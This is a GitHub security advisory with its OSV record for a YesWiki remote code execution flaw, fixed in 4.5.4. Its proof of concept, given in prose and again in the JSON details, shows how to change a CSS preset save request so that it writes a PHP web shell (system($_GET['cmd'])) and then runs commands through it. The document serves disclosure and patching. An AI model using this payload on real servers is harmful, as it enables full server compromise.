GHSA-88XG-V53P-FPVF
Vulnerability from github – Published: 2025-04-29 14:45 – Updated: 2025-04-29 20:27Summary
An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server.
All testing was performed on a local docker setup running the latest version of the application.
PoC
Proof of Concept
Navigate to http://localhost:8085/?LookWiki which allows you to click Create a new Graphical configuration where you specify some parameters and then click Save.
After clicking save, this request is made (most headers removed for clarity):
POST /?api/templates/custom-presets/test.css HTTP/1.1
Host: localhost:8085
primary-color=%230c5d6a&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif
This request writes the file test.css to disk with the contents (abbreviated)
:root {
--primary-color: #0c5d6a;
--secondary-color-1: #d8604c;
--secondary-color-2: #d78958;
--neutral-color: #4e5056;
--neutral-soft-color: #57575c;
--neutral-light-color: #f2f2f2;
--main-text-fontsize: 17px;
--main-text-fontfamily: "Nunito", sans-serif;
--main-title-fontfamily: 'Nunito', sans-serif;
}
To exploit this, utilize a proxy tool to intercept the the first request and change the filename extension to .php and add arbitrary PHP code in for one of the request body parameters.
e.g. primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E
Now the file pizzapower.php is written to /var/www/html/custom/css-presets/pizzapower.php and it starts with this, where the PHP code is present.
:root {
--primary-color: <?php system($_GET['cmd']); ?>;
--secondary-color-1: #d8604c;
--secondary-color-2: #d78958;
--neutral-color: #4e5056;
--neutral-soft-color: #57575c;
--neutral-light-color: #f2f2f2;
--main-text-fontsize: 17px;
--main-text-fontfamily: "Nunito", sans-serif;
--main-title-fontfamily: 'Nunito', sans-serif;
}
Then, simply visit the file with a cmd parameter included.
http://localhost:8085/custom/css-presets/pizzapower.php?cmd=id
And the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though).
:root {
--primary-color: uid=501(yeswiki) gid=501 groups=501
;
--secondary-color-1: #d8604c;
--secondary-color-2: #d78958;
--neutral-color: #4e5056;
--neutral-soft-color: #57575c;
--neutral-light-color: #f2f2f2;
--main-text-fontsize: 17px;
--main-text-fontfamily: "Nunito", sans-serif;
--main-title-fontfamily: 'Nunito', sans-serif;
}
Impact
Full compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities.
Fixes
Amongst others:
Restrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature. Harden server config: Disable PHP execution in user-writable directories
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.3"
},
"package": {
"ecosystem": "Packagist",
"name": "yeswiki/yeswiki"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-46347"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-29T14:45:42Z",
"nvd_published_at": "2025-04-29T18:15:44Z",
"severity": "HIGH"
},
"details": "### Summary\nAn arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server. \n\nAll testing was performed on a local docker setup running the latest version of the application.\n\n### PoC\nProof of Concept\n\nNavigate to `http://localhost:8085/?LookWiki` which allows you to click `Create a new Graphical configuration` where you specify some parameters and then click `Save`. \n\n\n\n\nAfter clicking save, this request is made (most headers removed for clarity): \n\n```\nPOST /?api/templates/custom-presets/test.css HTTP/1.1\nHost: localhost:8085\n\nprimary-color=%230c5d6a\u0026secondary-color-1=%23d8604c\u0026secondary-color-2=%23d78958\u0026neutral-color=%234e5056\u0026neutral-soft-color=%2357575c\u0026neutral-light-color=%23f2f2f2\u0026main-text-fontsize=17px\u0026main-text-fontfamily=%22Nunito%22%2C+sans-serif\u0026main-title-fontfamily=\u0027Nunito\u0027%2C+sans-serif\n```\n\nThis request writes the file `test.css` to disk with the contents (abbreviated)\n```\n:root {\n --primary-color: #0c5d6a;\n --secondary-color-1: #d8604c;\n --secondary-color-2: #d78958;\n --neutral-color: #4e5056;\n --neutral-soft-color: #57575c;\n --neutral-light-color: #f2f2f2;\n --main-text-fontsize: 17px;\n --main-text-fontfamily: \"Nunito\", sans-serif;\n --main-title-fontfamily: \u0027Nunito\u0027, sans-serif;\n}\n```\n\nTo exploit this, utilize a proxy tool to intercept the the first request and change the filename extension to `.php` and add arbitrary PHP code in for one of the request body parameters. \n\ne.g. `primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E`\n\nNow the file `pizzapower.php` is written to `/var/www/html/custom/css-presets/pizzapower.php` and it starts with this, where the PHP code is present. \n\n\n```\n:root {\n --primary-color: \u003c?php system($_GET[\u0027cmd\u0027]); ?\u003e;\n --secondary-color-1: #d8604c;\n --secondary-color-2: #d78958;\n --neutral-color: #4e5056;\n --neutral-soft-color: #57575c;\n --neutral-light-color: #f2f2f2;\n --main-text-fontsize: 17px;\n --main-text-fontfamily: \"Nunito\", sans-serif;\n --main-title-fontfamily: \u0027Nunito\u0027, sans-serif;\n}\n```\n\nThen, simply visit the file with a `cmd` parameter included. \n\n```\nhttp://localhost:8085/custom/css-presets/pizzapower.php?cmd=id\n```\n\nAnd the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though). \n\n```\n:root {\n --primary-color: uid=501(yeswiki) gid=501 groups=501\n;\n --secondary-color-1: #d8604c;\n --secondary-color-2: #d78958;\n --neutral-color: #4e5056;\n --neutral-soft-color: #57575c;\n --neutral-light-color: #f2f2f2;\n --main-text-fontsize: 17px;\n --main-text-fontfamily: \"Nunito\", sans-serif;\n --main-title-fontfamily: \u0027Nunito\u0027, sans-serif;\n}\n```\n\n\n### Impact\n\nFull compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities. \n\n## Fixes\n\nAmongst others: \n\nRestrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature.\nHarden server config: Disable PHP execution in user-writable directories",
"id": "GHSA-88xg-v53p-fpvf",
"modified": "2025-04-29T20:27:14Z",
"published": "2025-04-29T14:45:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-88xg-v53p-fpvf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46347"
},
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/commit/8fe5275a78dc7e0f9c242baa3cbac6b5ac1cc066"
},
{
"type": "PACKAGE",
"url": "https://github.com/YesWiki/yeswiki"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.